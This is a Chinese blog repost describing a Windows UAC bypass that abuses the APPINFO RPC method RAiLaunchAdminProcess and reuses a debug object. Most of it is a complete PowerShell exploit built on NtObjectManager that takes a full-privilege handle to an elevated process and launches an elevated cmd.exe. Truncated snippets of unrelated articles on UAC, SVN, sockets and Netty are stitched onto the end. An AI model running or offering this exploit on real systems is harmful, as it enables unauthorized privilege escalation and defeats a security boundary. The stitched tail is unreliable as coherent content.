通过调用Windows本地RPC服务器bypass UAC提权

备战一个月比赛,导致近期都没啥时间更新博客,正好今天看到一篇通过调用本地RPC服务的文章,觉得非常有意思,就拿来充充博客。

在1.0版本的APPINFO.DLL中的RPC服务调用接口ID为:201ef99a-7fa0-444c-9399-19ba84f12a1a

用RAiLaunchAdminProcess函数调用本地RPC

[
    uuid (201ef99a-7fa0-444c-9399-19ba84f12a1a),
    version(1.0),
]
long RAiLaunchAdminProcess(
    handle_t hBinding,
    [in][unique][string] wchar_t* ExecutablePath,
    [in][unique][string] wchar_t* CommandLine,
    [in] long StartFlags,
    [in] long CreateFlags,
    [in][string] wchar_t* CurrentDirectory,
    [in][string] wchar_t* WindowStation,
    [in] struct APP_STARTUP_INFO* StartupInfo,
    [in] unsigned __int3264 hWnd,
    [in] long Timeout,
    [out] struct APP_PROCESS_INFORMATION* ProcessInformation,
    [out] long *ElevationType
);

ALPC(高级本地过程调用)调用原理图:

画的有点水,大概就是如上图所示

UAC步骤

1.利用RAiLaunchAdminProcess设置StartFlags标志为0并设置DEBUG_PROCESS来创建一个新的non-elevated进程。这将在服务器中RPC线程的TEB中初始化debug对象字段,并将其分配给新进程。

2.使用带有返回的进程句柄的NtQueryInformationProcess打开调试对象的句柄。

3.分离调试器并终止不再需要的新进程

4.通过RAiLaunchAdminProcess与StartFlags设置为1来创建一个新的提升进程,设置DEBUG_PROCESS标志 。由于已经初始化了TEB中的debug对象字段,因此将在步骤2中捕获的现有对象分配给了新进程。

5.检索初始调试事件,该事件将返回完整的访问进程句柄。

6.使用新的进程句柄代码,可以将其注入提升的进程中,从而完成UAC Bypass。

首先放上powershell的利用过程:

首先利用powershell的NtObjectManager模块,可以通过

Install-Module "NtObjectManager" -Scope CurrentUser

安装NtObjectManager模块,如果模块存在可以通过以下命令更新

Update-Module -Name NtObjectManager

然后解析APPINFO.DLL提取所有的RPC服务

$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" `
 | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"

可以通过

Get-RpcServerName $rpc

生成一个XML文件

这里用修改后的测试文件

<RpcServerNameData
   xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager">
  <InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId>
  <InterfaceMajorVersion>1</InterfaceMajorVersion>
  <InterfaceMinorVersion>0</InterfaceMinorVersion>
  <Procedures>
    <NdrProcedureNameData>
      <Index>0</Index>
      <Name>RAiLaunchAdminProcess</Name>
      <Parameters>
        <NdrProcedureParameterNameData>
          <Index>10</Index>
          <Name>ProcessInformation</Name>
        </NdrProcedureParameterNameData>
      </Parameters>
    </NdrProcedureNameData>
  </Procedures>
  <Structures>
  <NdrStructureNameData>
      <Index>0</Index>
      <Members/>
      <Name>APP_STARTUP_INFO</Name>
    </NdrStructureNameData>
    <NdrStructureNameData>
      <Index>2</Index>
      <Members>
        <NdrStructureMemberNameData>
          <Index>0</Index>
          <Name>ProcessHandle</Name>
        </NdrStructureMemberNameData>
      </Members>
      <Name>APP_PROCESS_INFORMATION</Name>
    </NdrStructureNameData>
  </Structures>
</RpcServerNameData>

XML

将文件保存为names.xml

Get-Content "names.xml" | Set-RpcServerName $rpc

可以通过上述命令将xml文件内容应用于$rpc对象

最后创建客户端新实例,它生成一个C#源代码,并编译成临时程序集

$client = Get-RpcClient $rpc

可以通过Format-RpcClient函数查看生成的C#源代码

将客户端链接到本地RPC服务器的ALPC端口

Connect-RpcClient $client

接下来定义一个函数,里面实现了RAiLaunchAdminProcess方法的调用,该函数返回一个NtProcess对象,该对象可用于访问创建进程的属性

function Start-Uac {
  Param(
    [Parameter(Mandatory, Position = 0)]
    [string]$Executable,
    [switch]$RunAsAdmin
  )

  $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
        [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
  $StartInfo = $client.New.APP_STARTUP_INFO()

  $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
          [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
          "C:\", "WinSta0\Default", $StartInfo, 0, -1)
  if ($result.retval -ne 0) {
    $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
    throw $ex
  }

  $h = $result.ProcessInformation.ProcessHandle.Value
  Get-NtObjectFromHandle $h -OwnsHandle
}

创建一个进程并捕获debug对象,一旦获取调试对象,要将调试器与进程分离。

$p = Start-Uac "c:\windows\system32\notepad.exe"
$dbg = Get-NtDebug -Process $p
Stop-NtProcess $p
Remove-NtDebugProcess $dbg -Process $p

创建一个提升的进程,发现分配给提升进程的调试对象与刚才创建的调试对象相同。现在,我们在调试对象上发出等待,从中可以提取到特权进程句柄。

但因为初始调试的句柄没有完全特权,得使用Copy-NtObject从提升的进程中复制当前进程的伪句柄(-1),从而获取完全特权句柄。

$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
Remove-NtDebugProcess $dbg -Process $new_p

此时再以$new_p为父进程生成一个特权权限的cmd进程

New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

参考链接:https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html

C#项目地址:https://github.com/tyranid/WindowsRpcClients

原文地址:https://www.cnblogs.com/wh4am1/p/12081750.html

时间: 2024-10-08 03:29:01

通过调用Windows本地RPC服务器bypass UAC提权的相关文章

[提权]Windows UAC 提权(CVE-2019-1388)

0x00 UAC简介 首先来理解一下什么是 UAC : 用户账户控制UAC:UAC 是 win10 操作系统中非常重要的安全功能,它起源于 windows vista 操作系统,流行于 windows7.windows8 .各种功能策略得到了完善的修订和开发,应用在 win10 操作系统中,目的是减少恶意软件对系统的侵害. 操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则.执行的时候就需要权限,否则是不会运行的. 不涉及到更改计算机操作的项目是不会触发UAC规则的,能够触发UAC

soap注入某sql2008服务器结合msf进行提权

soap注入某sql2008服务器结合msf进行提权 simeon 在实际成功×××过程中,漏洞的利用都是多个技术的融合,最新技术的实践,本次×××利用sqlmap来确认注入点,通过sqlmap来获取webshell,结合msf来进行ms16-075的提权,最终获取了目标服务器的系统权限.本文算是漏洞利用的一个新的拓展,在常规Nday提权不成功的情况下,结合msf进行ms16-075成功提权的一个经典案例. 1.1.1扫描soap注入漏洞 1.使用awvs中的web services scann

[转]windows 7系统搭建本地SVN服务器的过程

windows 7系统搭建本地SVN服务器的过程 1.安装svn:TortoiseSVN-1.7.9.23248-x64-svn-1.7.6; 1.在PC机的D盘创建如下目录:D:\svn\project\workspace; 2.右键点击目录workspace文件,选择Tortoise->Create repository here,即在此创建版本库(Y); 然后你就会看到D:\svn\project\workspace 里面多了conf, db, hooks, lock等文件,版本库创建成功

Windows下搭建本地SVN服务器

本文介绍Windows下搭建本地SVN服务器的方法,网上资料比较少也比较旧,大都介绍的是旧版本SVN使用svnserve.exe安装svn服务的方法,而下面将会详细介绍使用sc命令建立服务器并开启服务,这是搭建本地SVN服务器的关键所在! SVN 全名是 Subversion,它是一个开源的版本控制软件,官网链接:http://tortoisesvn.net/ ,与它类似的软件有CVS,VSS,ClearCase.而 SVN 作为一个跨平台的开源软件,具有很强的活力,目前也已经相当成熟,很多开源

windows本地安装SVN服务器

为更方便地管理本地的代码,也不麻烦别人,故可在本地搭一个SVN服务器 本文介绍的是通过VisualSVNServer,官网地址 http://www.visualsvn.com/server/ 下载后直接双击安装即可,默认仓库路径为"D:\Repositories".管理界面是类似于服务的,长相如下图 然后Creat User, Creat Repositories就行了. --------- 本地管理需要用到SVN客户端,官网http://tortoisesvn.net/ 安装完成后

【windows socket编程+服务器客户端】

Windows Socket编程与服务器客户端示例 Winsock是 Windows下套接字标准. Socket套接字基于计算机网络,提供同一系统上不同进程或由局域网连接在一起的不同机器上的进程间通讯功能.如下图: 套接字通过IP地址,Port端口号标识,通过这个标识可以在整个局域网定位一个套接字,通过套接字进程便可以相互传输数据.如:进程A与进程B之间欲通过套接字通信,首先进程A创建一个有IP地址,端口号唯一标识的套接字,进程B同样创建一个有IP地址,端口号唯一标识的套接字,进程A,B便可以通

解决远程桌面链接时出现"The RPC server is unavailable."或"RPC服务器不可用"的问题

解决远程桌面链接时出现"The RPC server is unavailable."或"RPC服务器不可用"的问题 解决远程桌面链接时出现"The RPC server is unavailable."或"RPC服务器不可用"的问题 有时候当用远程桌面链接某台Windows主机的时候会出现"The RPC server is unavailable."的问题,并在日志里还会看到如下图所示的错误: RPC 

谈谈如何使用Netty开发实现高性能的RPC服务器

RPC(Remote Procedure Call Protocol)远程过程调用协议,它是一种通过网络,从远程计算机程序上请求服务,而不必了解底层网络技术的协议.说的再直白一点,就是客户端在不必知道调用细节的前提之下,调用远程计算机上运行的某个对象,使用起来就像调用本地的对象一样.目前典型的RPC实现框架有:Thrift(facebook开源).Dubbo(alibaba开源)等等.RPC框架针对网络协议.网络I/O模型的封装是透明的,对于调用的客户端而言,它就认为自己在调用本地的一个对象.至

Netty开发实现高性能的RPC服务器

Netty开发实现高性能的RPC服务器 RPC(Remote Procedure Call Protocol)远程过程调用协议,它是一种通过网络,从远程计算机程序上请求服务,而不必了解底层网络技术的协议.说的再直白一点,就是客户端在不必知道调用细节的前提之下,调用远程计算机上运行的某个对象,使用起来就像调用本地的对象一样.目前典型的RPC实现框架有:Thrift(facebook开源).Dubbo(alibaba开源)等等.RPC框架针对网络协议.网络I/O模型的封装是透明的,对于调用的客户端而